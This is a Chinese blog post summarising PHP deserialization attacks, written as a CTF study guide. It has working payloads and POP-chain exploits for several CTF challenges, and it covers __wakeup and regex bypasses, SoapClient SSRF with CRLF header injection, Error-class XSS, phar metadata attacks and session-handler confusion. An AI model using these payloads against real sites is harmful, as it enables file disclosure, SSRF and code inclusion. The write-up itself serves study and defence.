PHP反序列化总结

文章发布时间:

最后更新时间:

文章总字数:
4.7k

预计阅读时间:
19 分钟

PHP反序列化总结

最近看太多java了,看点php缓缓,不过依旧是这个议题:反序列化。

反序列化原理操作

相较于java,php的序列化和反序列化就容易得多,不用用到readObject和writeObject,只需要用到serialize和unserialize两个函数即可,也可以直接把序列化之后的有序字符串输出出来,可以直接对有序字符串进行解读。

1
O:4:"test":2:{s:1:"a";s:4:"1234";s:1:"b";s:4:"5678";}

O表示的是Object对象,4表示类名由4个字母组成,后面是类名
2表示有两个成员变量(序列化只序列化成员变量)
花括号里面是具体的成员变量,s代表string,以此类推

而如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码再上传,若在本地存储更推荐采用base64编码的形式。

反序列化漏洞成因

其实这里和java反序列化很像(反序列化漏洞成因其实都是一样的),首先需要找到类中执行危险方法的地方,就是我们的目标点,如果是file_include就是任意文件读取漏洞,如果是system就是命令执行漏洞。

找到了目标点之后就一步一步往上找谁调用了他,最终找到一个类的wakeup或者通过控制类的变量值可以直接调用方法到目标点的,就作为入口。

与java不同,这里的互相自动调用并不是因为不同类的同名函数,而是因为php中的魔术方法,满足条件时,魔术方法会自动被调用,以下是常见的魔术方法:

1
2
3
4
5
6
7
8
9
10
11
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

php反序列化漏洞的关键就是构造从入口类到危险方法的pop链,再通过构造合适的类成员变量值来使危险方法自动执行。

简单的bypass

php7.1+反序列化对类属性不敏感

可以绕过%00检测,目前还没有在实战中遇到过,7.1+可以直接把所有变量都当成public序列化就行。

绕过__wakeup

CVE-2016-7124,要求php5<5.6.25,php7<7.0.10(看phpinfo),序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行,从而防止我们构造好的变量值被wakeup修改。

绕过部分正则

preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头,两个方法绕过,给O后面第一个数字加上+号(%2B)或者整个对象套个array再序列化,开头就变成了a。

十六进制绕过字符的过滤

将表示字符串类型的s大写时会自动解析变量值里的十六进制:

s:8:"username";–>S:8:"\\75sername";

PHP反序列化字符串逃逸

当对上传的序列化数据进行关键词检测并替换时就会产生反序列化字符串逃逸问题,换了之后变多的可以把字符串顶出去,变少的可以把字符串吃进来。因为反序列化的时候严格按照序列化数据中提供的字母个数,是多少就到多少,中间不管遇到什么特殊符号也不会停。如果按长度读到最后一位不是"就会报错。

字符增多逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function filter($str){
return str_replace('where','hacker',$str);
}
class A{
public $name = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:4:"pass";s:6:"hacker";}';
public $pass = '123456';
}
$a = new A();
echo serialize($a)."\n";
$res = filter(serialize($a));
//O:1:"A":2:{s:4:"name";s:27:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"s:4:"pass";s:6:"hacker";} ;s:4:"pass";s:6:"123456";}
$c=unserialize($res);
echo $c->pass;

需要逃逸的字符串:首先我们要让name闭合 “;,然后需要重新给pass变量赋值为hacker,而不是原来的123456,最后我们需要将整个序列化字符串用;}闭合,从而将后面的赋值丢弃,故需要逃逸的字符串为”s:4:”pass”;s:6:”hacker”;},总计27个字符,为了将这个字符串逃逸出去,需要在前面在27个where,where被替换成hacker之后会多一个字符,27个where刚好把字符串顶出去,从而实现pass变量的替换。

字符减少逃逸

替换修改后导致序列化的字符串变短。(将不想要的字符串去掉,需要统计不想要的字符串的字符数)

这种通常是将敏感词替换为空导致的字符串变短,字符串变短后我们可以使用第二个变量的值来覆盖第一个变量的值,从而实现字符串逃逸。

实验代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function str_rep($string){
return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

number的值虽然固定,但是我们可以通过name写一堆被过滤的关键字,从而通过sign来逃逸来重新给number赋值

先确定sign怎么写(按反序列化来写),sign首先要把自己原来的值闭合 a“;,然后再写自己新的值和number新的值,最后再闭合整条反序列语句s:4:”sign”;s:4:”eval”;s:6:”number”;s:4:”2000”;},然后看不想要的语句是哪一些,并统计字符数,不想要的是原来的name的闭合 “;s:4:”sign”;s:54:”a 总共20个字符,为了把他们去掉,我们需要在name里面写5个test,被过滤为空之后刚好全部进去了。从而实现字符串逃逸,成功给number赋值。

技巧是先把要达到的效果序列化出来,截取需要的payload,然后把这个payload带进去再序列化,然后看过滤掉多少个字符能够刚好再接上。

两道曾经做过的CTF题,刚好一道字符增加逃逸,一道字符减少逃逸:

piapiapia

解题:

啥也没有只有登录框,试了一下之后不像sql注入,下次没回显的话不用试了,没有这么简单的题,啥提示也没有,开始用dirsearch扫目录。

扫出来www.zip

通过一系列代码审计可以得知只要读到config.php就可以得到flag,而这写源码中唯一能读文件的位置就是profile[‘photo’],且发现对我们的序列化内容进行了过滤,将where替换成hacker,多了一个字符,可以使用字符串逃逸。

通过nickname位置来提前闭合序列化字符串,然而nickname有strlen长度限制,可以通过传入只有一个值的数组来绕过strlen的限制,传入nickname[] = ,

payload:nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:”photo”;s:10:”config.php”;}

注意这些where后面要把nickname[]闭合需要使用;}而不仅仅是},这是因为nickname被我们构造成了一个数组。

通过34个where来挤出34个字符位置刚好把后面的顶出去,从而photo的值成功变为了config.php,读到config.php,提示要访问别的文件获得flag,只需要将config.php改成别的文件名,再改改序列化字符串的长度即可

以下代码测试用(类似反序列化字符串逃逸都可以自己先测试一下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function filter($string){
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$a=array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['phone']='12345678901';
$profile['email']='for@example.com';
$profile['nickname']=$a;
$profile['photo'] = " ";
var_dump(filter(serialize($profile)));
$a = unserialize(filter(serialize($profile)));
echo "\n";
echo $a['photo'];

运行上述代码,输出photo值为config.php,可知字符串逃逸成功

easy_serialize

[安洵杯 2019]easy_serialize_php 1——wp - 友好邻居 - 博客园 (cnblogs.com)

和上面例子处的分析基本一致。

POP链构造练习

这个没什么技巧,就是代码审计,分析多了审计能力上去了分析自然快了。

曾经做过的一道题:

MRCTF2020-Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

Modifier.include($value)–>append–>__invoke –> Test.get($key)–>Show.tostring–>Show.wakeup

入口是show,source需要是一个show对象,在wakeup的时候pregmatch会将source看成字符串,从而调用show的toString,这时候str需要是Test对象,就会自动调用Test的get,Test的p需要是一个Modifier对象,然后可以调用到Modifier的invoke,从而append并include(var),var传入要读的文件名即可。

1
2
3
4
5
6
7
8
$show = new Show();
$test = new Test();
$modifier = new Modifier();
$show->source = $show;
$show->str = $test;
$show->str->p = $modifier;
$ser = serialize($show);
unserialize($ser);

var变量是protected修饰的,直接在构造函数或者声明处赋值即可,unserialize的时候可以使用phpstorm调试,然后看是否按照pop链推进。

果然看了javaGadget链之后感觉phppop链还好~~

php原生类反序列化

当明摆着考反序列化,但是POP链构建不起来的时候可以考虑原生类的魔术方法,原生类指的是php中自带的类。他们有以下几种常见的利用方式

列文件和读文件

原生类

Directorylterator

Filesystemlterator

可以用来列文件,因为他们的__toString()方法可以获取字符串形式的文件名,当echo时,自动触发了toString,列出文件名,可以配合glob伪协议来直接读取目录,同时还可以绕过open_basedir,这两的区别是dir只有文件名,file有绝对路径。

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$dic = $_GET['pazuris'];
$a = new DirectoryIterator($dic);
foreach($a as $f){
echo $f.'<br>';
}

image-20230725170000457

Globlterator

这个原生类和上两个类似,但是不需要配合glob,他自己自带了glob,直接传路径就可以列目录。

读文件内容

SplFileInfo

SplFileInfo::__toString — Returns the path to the file as a string //将文件路径作为字符串返回

但是只能读一行而且被open_basedir限制。用法和上两个一样,触发toString即可。

构造XSS

Error /Exception

这两个原生类的toString方法会返回异常的字符串,如果我们构造了一个含xss代码的对象,在返回异常字符串的时候就会执行。

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo unserialize($b);
//echo可以触发Error的toString

哈希强相等绕过

还是用上面这两个类,因为其实哈希函数也会自动触发toString方法,从而使得返回异常的字符串,异常的字符串很容易构造成一样的,再加个哈希还是一样的。

1
2
3
4
5
6
7
8
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
var_dump($a === $b);//对a和b进行判断
echo '<br>';
echo $a;//输出a
echo '<br>';
echo $b;//输出b
echo '<br>';

记得两个new Error要写在同一行,因为报错里面也会有行号。

SSRF与CLRF

SoapClient

这个原生类有点像python的request,可以提供http服务,并用xml传输数据。

当调用到他的__call方法的时候就会自动向创建对象时指定的location发送报文,其中报文也是在创建对象的时候指定的。这样就形成了ssrf。

1
2
3
4
5
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://xxxx.xxx.xx:9328'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call

在自己的vps上监听该端口就可以收到报文。

另外可以通过CLRF(换行)来实现插入恶意的请求头(换ip,固定session等),因为报文是通过换行\r\n来判断分行的。

CTFshow web259

1
2
3
4
5
6
7
8
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

换两次行之后就可以添加自定义的post的数据。

获取注释内容

ReflectionMethod

这个原生类的getDocComment方法可以访问到注释的内容,说不定能看到重要的提示信息。

phar反序列化

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://协议使用。配合phar://会使得一些受影响的函数自动将meta-data反序列化。

image-20230725194625469

phar创建流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Test {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以改但是生成的时候一定是phar后缀
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();//构造好pop链的类
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后将phar文件上传,使受影响的函数参数是phar://phar文件名即可。

phar不能出现在前面:

使用其他协议绕过:

1
2
3
4
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

GIF格式验证可以通过在文件头部添加GIF89a绕过
$phar->setStub(“GIF89a”.“<?php __HALT_COMPILER(); ?>”); //设置stub

php_session反序列化

session定义

在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。

session_start()函数以及该函数所起的作用:

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

session存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

漏洞成因:不同处理器序列化session

image-20230725212231549

如果程序使用php和php_serialize两个引擎来分别处理的话就会出现问题,因为|产生了歧义。

先在序列化了的payload前加一个|,php_serialize处理之后|就会插入到中间,然后使用session_start()时,若先ini_set用php来处理,就会自动反序列化|后面的内容,从而将我们的payload反序列化。

1
2
3
4
5
6
<?php
ini_set("session.serialize_handler","php");
session_start();
class test{

}

如果可以直接传session值,那就直接传,如果不能直接传,就采用upload_process机制:即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分,这个功能在文件上传的过程中利用session实时返回上传的进度。在session.upload_process.enabled开启时会启用这个功能,在php.ini中会默认启用这个功能。

简单来说:如果 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS 的变量,就可以将 filename 的值赋值到session 中,filename 的值如果包含双引号,还需要进行转义

上传页面poc:

1
2
3
4
5
6
7
8
9
<form action="http://example.com/index.php" method="POST" enctype="multipart/form-data">

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />

<input type="file" name="file" />

<input type="submit" />

</form>

随便上传个文件,然后抓包改filename即可,记得双引号要加\转义。

参考链接:

[CTF]PHP反序列化总结_ctf php反序列化_Y4tacker的博客-CSDN博客

浅析PHP原生类-安全客 - 安全资讯平台 (anquanke.com)

浅析php反序列化原生类的利用_php反序列化原生类利用_Christ1na的博客-CSDN博客

PHP session反序列化 - yokan - 博客园 (cnblogs.com)